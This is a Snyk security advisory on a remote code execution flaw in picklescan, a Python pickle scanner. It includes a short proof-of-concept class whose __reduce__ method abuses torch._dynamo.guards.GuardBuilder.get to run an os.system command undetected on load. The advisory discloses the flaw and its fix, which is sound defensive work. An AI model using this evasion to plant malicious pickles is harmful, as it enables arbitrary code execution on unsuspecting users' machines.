Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.
Start learningUpgrade picklescan
to version 0.0.28 or higher.
picklescan is a Security scanner detecting Python Pickle files performing suspicious actions
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to using the torch._dynamo.guards.GuardBuilder.get
function. An attacker can execute arbitrary code by crafting a malicious pickle file that leverages this function and remains undetected during security checks, and is then loaded with pickle
by a user.
import types
import torch._dynamo.guards as guards
class EvilTorchDynamoGuardsGet:
def __reduce__(self):
fake_self = types.SimpleNamespace(scope={})
name = "__import__('os').system('whoami')"
return guards.GuardBuilder.get, (fake_self, name)